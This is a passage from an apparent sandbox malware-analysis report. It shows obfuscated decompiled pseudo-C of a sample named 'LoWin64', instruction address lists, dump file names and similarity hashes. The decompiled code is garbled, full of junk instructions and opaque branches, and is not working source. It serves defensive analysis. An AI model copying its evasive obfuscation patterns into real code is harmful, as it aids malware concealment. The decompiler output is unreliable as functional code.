				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t261 = E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = 0x7ff727c9ffffffd0 + _t722 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t261 & r14d;
			}

0x7ff6b1ca7958
0x7ff6b1ca795b
0x7ff6b1ca7966
0x7ff6b1ca7969
0x7ff6b1ca796e
0x7ff6b1ca7974
0x7ff6b1ca7976
0x7ff6b1ca7981
0x7ff6b1ca798a
0x7ff6b1ca799d
0x7ff6b1ca79a3
0x7ff6b1ca79af
0x7ff6b1ca79ba
0x7ff6b1ca79bd
0x7ff6b1ca79be
0x7ff6b1ca79c3
0x7ff6b1ca79c8
0x7ff6b1ca79ce
0x7ff6b1ca79d3
0x7ff6b1ca79d8
0x7ff6b1ca79de
0x7ff6b1ca79e3
0x7ff6b1ca79e8
0x7ff6b1ca79ed
0x7ff6b1ca79f5
0x7ff6b1ca79f7
0x7ff6b1ca79fc
0x7ff6b1ca7a06
0x7ff6b1ca7a0e
0x7ff6b1ca7a11
0x7ff6b1ca7a13
0x7ff6b1ca7a19
0x7ff6b1ca7a27
0x7ff6b1ca7a28
0x7ff6b1ca7a2c
0x7ff6b1ca7a32
0x7ff6b1ca7a39
0x7ff6b1ca7a3f
0x7ff6b1ca7a41
0x7ff6b1ca7a44
0x7ff6b1ca7a46
0x7ff6b1ca7a4f
0x7ff6b1ca7a55
0x7ff6b1ca7a57
0x7ff6b1ca7a5a
0x7ff6b1ca7a65
0x7ff6b1ca7a67
0x7ff6b1ca7a6e
0x7ff6b1ca7a76
0x7ff6b1ca7a7c
0x7ff6b1ca7a84
0x7ff6b1ca7a8c
0x7ff6b1ca7a94
0x7ff6b1ca7a9c
0x7ff6b1ca7aa6
0x7ff6b1ca7ab5
0x7ff6b1ca7ab6
0x7ff6b1ca7ab7
0x7ff6b1ca7ab9
0x7ff6b1ca7ac0
0x7ff6b1ca7ac6
0x7ff6b1ca7acb
0x7ff6b1ca7ad0
0x7ff6b1ca7adb
0x7ff6b1ca7add
0x7ff6b1ca7adf
0x7ff6b1ca7ae4
0x7ff6b1ca7ae6
0x7ff6b1ca7ae9
0x7ff6b1ca7aeb
0x7ff6b1ca7af2
0x7ff6b1ca7afa
0x7ff6b1ca7afd
0x7ff6b1ca7aff
0x7ff6b1ca7b06
0x7ff6b1ca7b17
0x7ff6b1ca7b1d
0x7ff6b1ca7b1f
0x7ff6b1ca7b25
0x7ff6b1ca7b2d
0x7ff6b1ca7b36
0x7ff6b1ca7b38
0x7ff6b1ca7b4b
0x7ff6b1ca7b52
0x7ff6b1ca7b54
0x7ff6b1ca7b5a
0x7ff6b1ca7b61
0x7ff6b1ca7b67
0x7ff6b1ca7b69
0x7ff6b1ca7b71
0x7ff6b1ca7b75
0x7ff6b1ca7b79
0x7ff6b1ca7b7d
0x7ff6b1ca7b7f
0x7ff6b1ca7b86
0x7ff6b1ca7b8c
0x7ff6b1ca7b91
0x7ff6b1ca7b93
0x7ff6b1ca7b9a
0x7ff6b1ca7ba0
0x7ff6b1ca7bab
0x7ff6b1ca7bb1
0x7ff6b1ca7bb3
0x7ff6b1ca7bba
0x7ff6b1ca7bc0
0x7ff6b1ca7bc4
0x7ff6b1ca7bc6
0x7ff6b1ca7bcc
0x7ff6b1ca7bd2
0x7ff6b1ca7bd9
0x7ff6b1ca7bdf
0x7ff6b1ca7be1
0x7ff6b1ca7be9
0x7ff6b1ca7bed
0x7ff6b1ca7bf1
0x7ff6b1ca7bf5
0x7ff6b1ca7bfb
0x7ff6b1ca7c02
0x7ff6b1ca7c08
0x7ff6b1ca7c0d
0x7ff6b1ca7c13
0x7ff6b1ca7c1a
0x7ff6b1ca7c20
0x7ff6b1ca7c25
0x7ff6b1ca7c27
0x7ff6b1ca7c2e
0x7ff6b1ca7c34
0x7ff6b1ca7c39
0x7ff6b1ca7c3b
0x7ff6b1ca7c42
0x7ff6b1ca7c48
0x7ff6b1ca7c53
0x7ff6b1ca7c55
0x7ff6b1ca7c5c
0x7ff6b1ca7c62
0x7ff6b1ca7c67
0x7ff6b1ca7c69
0x7ff6b1ca7c6e
0x7ff6b1ca7c70
0x7ff6b1ca7c76
0x7ff6b1ca7c78
0x7ff6b1ca7c7c
0x7ff6b1ca7c80
0x7ff6b1ca7c88
0x7ff6b1ca7c8a
0x7ff6b1ca7c90
0x7ff6b1ca7c97
0x7ff6b1ca7c9d
0x7ff6b1ca7ca8
0x7ff6b1ca7cae
0x7ff6b1ca7cb5
0x7ff6b1ca7cb8
0x7ff6b1ca7cbc
0x7ff6b1ca7cc2
0x7ff6b1ca7cc7
0x7ff6b1ca7ccc
0x7ff6b1ca7cd2
0x7ff6b1ca7cdd
0x7ff6b1ca7ce3
0x7ff6b1ca7ceb
0x7ff6b1ca7cf1
0x7ff6b1ca7cf3
0x7ff6b1ca7cfa
0x7ff6b1ca7cfe
0x7ff6b1ca7d05
0x7ff6b1ca7d0b
0x7ff6b1ca7d0d
0x7ff6b1ca7d12
0x7ff6b1ca7d15
0x7ff6b1ca7d17
0x7ff6b1ca7d1d
0x7ff6b1ca7d22
0x7ff6b1ca7d2c
0x7ff6b1ca7d32
0x7ff6b1ca7d37
0x7ff6b1ca7d41
0x7ff6b1ca7d4c
0x7ff6b1ca7d52
0x7ff6b1ca7d62
0x7ff6b1ca7d64
0x7ff6b1ca7d6a
0x7ff6b1ca7d72
0x7ff6b1ca7d78
0x7ff6b1ca7d7a
0x7ff6b1ca7d82
0x7ff6b1ca7d86
0x7ff6b1ca7d8a
0x7ff6b1ca7d8e
0x7ff6b1ca7d90
0x7ff6b1ca7d98
0x7ff6b1ca7d9e
0x7ff6b1ca7da3
0x7ff6b1ca7da7
0x7ff6b1ca7dad
0x7ff6b1ca7db5
0x7ff6b1ca7dbb
0x7ff6b1ca7dbd
0x7ff6b1ca7dc4
0x7ff6b1ca7dc8
0x7ff6b1ca7dcf
0x7ff6b1ca7dd5
0x7ff6b1ca7dda
0x7ff6b1ca7de2
0x7ff6b1ca7de8
0x7ff6b1ca7dea
0x7ff6b1ca7df5
0x7ff6b1ca7dfc
0x7ff6b1ca7dff
0x7ff6b1ca7e05
0x7ff6b1ca7e07
0x7ff6b1ca7e0b
0x7ff6b1ca7e0f
0x7ff6b1ca7e13
0x7ff6b1ca7e1d
0x7ff6b1ca7e28
0x7ff6b1ca7e2a
0x7ff6b1ca7e30
0x7ff6b1ca7e37
0x7ff6b1ca7e39
0x7ff6b1ca7e43
0x7ff6b1ca7e4b
0x7ff6b1ca7e5c
0x7ff6b1ca7e62
0x7ff6b1ca7e6a
0x7ff6b1ca7e72
0x7ff6b1ca7e79
0x7ff6b1ca7e7d
0x7ff6b1ca7e84
0x7ff6b1ca7e8a
0x7ff6b1ca7e92
0x7ff6b1ca7ea3
0x7ff6b1ca7eb2
0x7ff6b1ca7eb9
0x7ff6b1ca7ebb
0x7ff6b1ca7ec3
0x7ff6b1ca7ec9
0x7ff6b1ca7ece
0x7ff6b1ca7ed0
0x7ff6b1ca7ed8
0x7ff6b1ca7ee0
0x7ff6b1ca7ee3
0x7ff6b1ca7eee
0x7ff6b1ca7ef0
0x7ff6b1ca7ef1
0x7ff6b1ca7ef7
0x7ff6b1ca7eff
0x7ff6b1ca7f05
0x7ff6b1ca7f10
0x7ff6b1ca7f16
0x7ff6b1ca7f1b
0x7ff6b1ca7f23
0x7ff6b1ca7f29
0x7ff6b1ca7f2e
0x7ff6b1ca7f3c
0x7ff6b1ca7f42
0x7ff6b1ca7f47
0x7ff6b1ca7f51
0x7ff6b1ca7f57
0x7ff6b1ca7f5c
0x7ff6b1ca7f60
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f7f
0x7ff6b1ca7f84
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f97
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

Strings

7, xrefs: 00007FF6B1CA79C8

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: 6d826d4381602c4803c40798503ef9b362502a30807adafc8cf25f5b56b54ec6
Instruction ID: ed6560effc037f3a6103e51df6c812f5124a761daedf0be4798bf308afde6e5d
Opcode Fuzzy Hash: 6d826d4381602c4803c40798503ef9b362502a30807adafc8cf25f5b56b54ec6
Instruction Fuzzy Hash: 90F17C67F38A4666F7125F3CAD4A2B922A17F2070DF780739C709E119ADF3DB5868244

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA796B Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00007FF67FF6B1CA796B(void* __eax, void* __edi, signed int __esi, void* __ebp, struct HWND__* __rdx, void* _a32, signed int _a144, signed long long _a152, void* _a160, void* _a168) {
				void* _t90;
				signed int _t195;
				void* _t217;
				signed int _t260;
				void* _t262;
				signed int _t295;
				signed int _t297;
				void* _t306;
				void* _t311;
				void* _t317;
				void* _t318;
				void* _t319;
				void* _t322;
				void* _t323;
				void* _t337;
				void* _t344;
				signed int _t347;
				void* _t354;
				signed int _t372;
				void* _t383;
				void* _t386;
				void* _t387;
				void* _t389;
				void* _t397;
				void* _t398;
				void* _t400;
				signed long long _t413;
				signed long long _t414;
				signed long long _t416;
				signed long long _t417;
				signed long long _t418;
				signed long long _t422;
				signed long long _t426;
				void* _t430;
				signed long long _t433;
				signed long long _t447;
				signed long long _t451;
				signed long long _t455;
				signed long long _t459;
				signed long long _t463;
				signed long long _t467;
				signed long long _t471;
				signed long long _t475;
				signed long long _t479;
				signed long long _t483;
				signed long long _t484;
				signed long long _t487;
				signed long long _t491;
				void* _t495;
				signed long long _t498;
				signed long long _t499;
				void* _t502;
				void* _t505;
				void* _t512;
				void* _t515;
				void* _t518;
				void* _t521;
				void* _t524;
				void* _t541;
				void* _t548;
				void* _t551;
				void* _t554;
				void* _t557;
				void* _t560;
				void* _t563;
				void* _t566;
				void* _t569;
				void* _t572;
				void* _t575;
				void* _t578;
				void* _t581;
				void* _t584;
				void* _t587;
				void* _t590;
				void* _t593;
				void* _t596;
				void* _t599;
				void* _t602;
				void* _t605;
				void* _t608;
				void* _t611;
				void* _t614;
				signed long long _t617;
				void* _t620;
				signed long long _t625;
				void* _t628;
				void* _t631;
				void* _t634;
				void* _t637;
				void* _t640;
				signed long long _t690;
				signed long long _t707;
				void* _t710;
				void* _t715;
				void* _t718;
				void* _t724;

				_t414 = _t413 | 0xffffff80;
				_t311 = _t414 - _t707;
				if (_t311 != 0) goto 0xb1ca7954;
				 *((intOrPtr*)(_t707 - 0x80)) =  *((intOrPtr*)(_t707 - 0x80)) + dil;
				if (_t311 >= 0) goto 0xb1ca7994;
				 *0xb1decf60 = _t690;
				 *0xb1decf60 = 0x52;
				if (0x52 - 0x5b < 0) goto 0xb1ca797d;
				 *((intOrPtr*)(_t690 + 0x23)) =  *((intOrPtr*)(_t690 + 0x23)) + (__eax - r13d + r13d & r12d) - r13d + r13d;
				asm("les edi, [ebp+0x8]");
				if (0x52 - 0x5b >= 0) goto 0xb1ca79c8;
				_t416 = _t414 | _t707 | _t707;
				r12d = 0x37;
				goto 0xb1ca79f2;
				if (_t262 + r13d - r12d >= 0) goto 0xb1ca79f7;
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(_t416);
				_t417 = _t416 & 0x8000007f;
				if (_t417 >= 0) goto 0xb1ca79f2;
				_t418 = _t417 | _t707;
				if (_t418 == 0x1d) goto 0xb1ca79d0;
				E00007FF67FF6B1D3ACF4(_t418);
				 *0xb1decf60 = r13d;
				r13d = 0x4b;
				_t317 = __esi - r13d;
				if (_t317 < 0) goto 0xb1ca7a0c;
				 *0xb1decf60 = _t710 + 0x2d;
				E00007FF67FF6B1D3ACF4(_t418);
				_push(0x8000007f);
				if (_t317 >= 0) goto 0xb1ca7a46;
				 *0xb1decf60 = _t715 + 0x2d;
				E00007FF67FF6B1D3ACF4(_t418);
				if (_t317 >= 0) goto 0xb1ca7a41;
				_t422 = ((_t418 & 0x8000007f) - 0x0000002d | _t707) + 0x2d;
				_t318 = _t422 - 0x76;
				if (_t318 >= 0) goto 0xb1ca7a25;
				_t90 = E00007FF67FF6B1D3ACF4(_t422);
				if (_t318 >= 0) goto 0xb1ca7a57;
				_t426 = ((_t422 & 0x8000007f) - 0x0000002d | _t707) + 0x2d;
				_t319 = _t426 - 0x23;
				if (_t319 < 0) goto 0xb1ca7a7c;
				_pop(_t718);
				asm("str word [ecx+0x1454f11d]");
				 *0x1a =  *0x1a + _t90;
				 *0xb1decf60 = 0x2d;
				AnyPopup();
				IsZoomed(??);
				GetModuleHandleW(??);
				IsZoomed(??);
				 *0xb1decf60 = 0x24;
				GetModuleHandleW(??);
				asm("cmpsd");
				_push(0x2d);
				asm("adc al, 0x0");
				E00007FF67FF6B1D3ACF4(_t426);
				if (_t319 >= 0) goto 0xb1ca7ac8;
				_t430 = ((_t426 & 0x8000007f) - 0x0000002d | _t707) + 0x2d;
				if (_t430 - 0x33 > 0) goto 0xb1ca7ad2;
				if (0x20 - 0x26 < 0) goto 0xb1ca7ab1;
				 *0xc =  *0xc + spl;
				asm("invalid");
				asm("push es");
				_t433 = (_t430 - 0x0000002d | _t707) + 0x2d;
				_t322 = _t433 - 0x69;
				if (_t322 >= 0) goto 0xb1ca7b2b;
				E00007FF67FF6B1D3ACF4(_t433);
				if (_t322 >= 0) goto 0xb1ca7afa;
				_t323 = ((_t433 & 0x8000007f) - 0x0000002d | _t707) + 0x2d - 0x44;
				if (_t323 == 0) goto 0xb1ca7b1f;
				E00007FF67FF6B1D3ACF4(((_t433 & 0x8000007f) - 0x0000002d | _t707) + 0x2d);
				if (_t323 >= 0) goto 0xb1ca7b0e;
				 *0xb1decf60 = 0;
				goto 0xb1ca7b25;
				 *0xb1decf60 = 0x2d;
				 *0xb1decf60 = 0x2d;
				 *0xb1decf60 = 0xc;
				if (0xc - 0x11 < 0) goto 0xb1ca7ad7;
				 *0xb1decf60 = 0x48;
				asm("adc al, 0x0");
				if (0x14 - 0x1d < 0) goto 0xb1ca7b47;
				AnyPopup();
				E00007FF67FF6B1D3ACF4(0x5d463f7100000041);
				if (0x14 - 0x1d >= 0) goto 0xb1ca7b69;
				_t447 = (0x53ced87900000014 | _t707) + 0x2d;
				asm("movsd xmm0, [0x116b57]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("comisd xmm0, xmm1");
				if (0x14 - 0x1d < 0) goto 0xb1ca7bb3;
				E00007FF67FF6B1D3ACF4(_t447);
				if (0x14 - 0x1d >= 0) goto 0xb1ca7b8e;
				_t451 = ((_t447 & 0x8000007f) - 0x0000002d | _t707) + 0x2d;
				if (0x14 - 0x3b > 0) goto 0xb1ca7bb3;
				E00007FF67FF6B1D3ACF4(_t451);
				if (0x14 - 0x3b >= 0) goto 0xb1ca7ba2;
				_t455 = ((_t451 & 0x8000007f) - 0x0000002d | _t707) + 0x2d;
				 *0xb1decf60 = 0;
				goto 0xb1ca7bcc;
				E00007FF67FF6B1D3ACF4(_t455);
				if (0x14 - 0x3b >= 0) goto 0xb1ca7bc2;
				_t459 = ((_t455 & 0x8000007f) - 0x0000002d | _t707) + 0x2d;
				if (0x14 > 0) goto 0xb1ca7bcc;
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1DA4020();
				E00007FF67FF6B1D3ACF4(_t459);
				if (0x14 >= 0) goto 0xb1ca7be1;
				_t463 = ((_t459 & 0x8000007f) - 0x0000002d | _t707) + 0x2d;
				asm("movsd xmm6, [0x116f17]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x14 <= 0) goto 0xb1ca7d0d;
				E00007FF67FF6B1D3ACF4(_t463);
				if (0x14 >= 0) goto 0xb1ca7c0a;
				_t467 = ((_t463 & 0x8000007f) - 0x0000002d | _t707) + 0x2d;
				if (0x14 - 0x20 > 0) goto 0xb1ca7cc2;
				E00007FF67FF6B1D3ACF4(_t467);
				if (0x14 - 0x20 >= 0) goto 0xb1ca7c22;
				_t471 = ((_t467 & 0x8000007f) - 0x0000002d | _t707) + 0x2d;
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c55;
				E00007FF67FF6B1D3ACF4(_t471);
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c36;
				_t475 = ((_t471 & 0x8000007f) - 0x0000002d | _t707) + 0x2d;
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c55;
				E00007FF67FF6B1D3ACF4(_t475);
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c4a;
				_t479 = ((_t475 & 0x8000007f) - 0x0000002d | _t707) + 0x2d;
				goto 0xb1ca7ca8;
				E00007FF67FF6B1D3ACF4(_t479);
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c64;
				_t483 = ((_t479 & 0x8000007f) - 0x0000002d | _t707) + 0x2d;
				if (0x14 - 0x7b > 0) goto 0xb1ca7c8a;
				E00007FF67FF6B1D3ACF4(_t483);
				_t484 = _t483 & 0x8000007f;
				if (0x14 >= 0) goto 0xb1ca7c78;
				_t487 = (_t484 - 0x0000002d | _t707) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x116b88]");
				if (0x14 <= 0) goto 0xb1ca7cae;
				GetDoubleClickTime();
				E00007FF67FF6B1D3ACF4(_t487);
				if (0x14 >= 0) goto 0xb1ca7c9f;
				_t491 = ((_t487 & 0x8000007f) - 0x0000002d | _t707) + 0x2d;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebp;
				_t337 = r14d - 0x5c;
				if (_t337 < 0) goto 0xb1ca7c13;
				E00007FF67FF6B1D3ACF4(_t491);
				r14d = __esi;
				if (_t337 >= 0) goto 0xb1ca7cd4;
				_t495 = ((_t491 & 0x8000007f) - 0x0000002d | _t707) + 0x2d;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t495);
				if (0x14 - 0x20 >= 0) goto 0xb1ca7cf3;
				_t498 = (_t495 - 0x0000002d | _t707) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x14;
				goto 0xb1ca7d58;
				E00007FF67FF6B1D3ACF4(_t498);
				r14d = __esi;
				_t499 = _t498 & 0x8000007f;
				if (0x14 >= 0) goto 0xb1ca7d1f;
				_t502 = (_t499 - 0x0000002d | _t707) + 0x2d;
				if (0x14 - 0x1d <= 0) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(_t502) & r14d) >= 0) goto 0xb1ca7d34;
				_t505 = (_t502 - 0x0000002d | _t707) + 0x2d;
				if (0x14 != 0x67) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(_t505) & r14d) >= 0) goto 0xb1ca7d49;
				_t344 = (_t505 - 0x0000002d | _t707) + 0x2d - 0x67;
				 *0xb1decf60 = 0;
				if (_t344 < 0) goto 0xb1ca7d5d;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x4d);
				if (_t344 >= 0) goto 0xb1ca7d7a;
				_t512 = (0xef508b1b00000020 | _t707) + 0x2d;
				asm("movsd xmm6, [0x1169ae]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t344 > 0) goto 0xb1ca7dda;
				E00007FF67FF6B1D3ACF4(_t512);
				if (_t344 >= 0) goto 0xb1ca7da0;
				_t515 = (_t512 - 0x0000002d | _t707) + 0x2d;
				if (0x4d - 0xb <= 0) goto 0xb1ca7dda;
				IsIconic(__rdx);
				E00007FF67FF6B1D3ACF4(_t515);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dbd;
				_t518 = (_t515 - 0x0000002d | _t707) + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x4d;
				goto 0xb1ca7ea9;
				E00007FF67FF6B1D3ACF4(_t518);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dea;
				_t521 = (_t518 - 0x0000002d | _t707) + 0x2d;
				asm("movsd xmm6, [0x116af6]");
				if (0x4d != 0x76) goto 0xb1ca7e39;
				_t347 = E00007FF67FF6B1D3ACF4(_t521) & r14d;
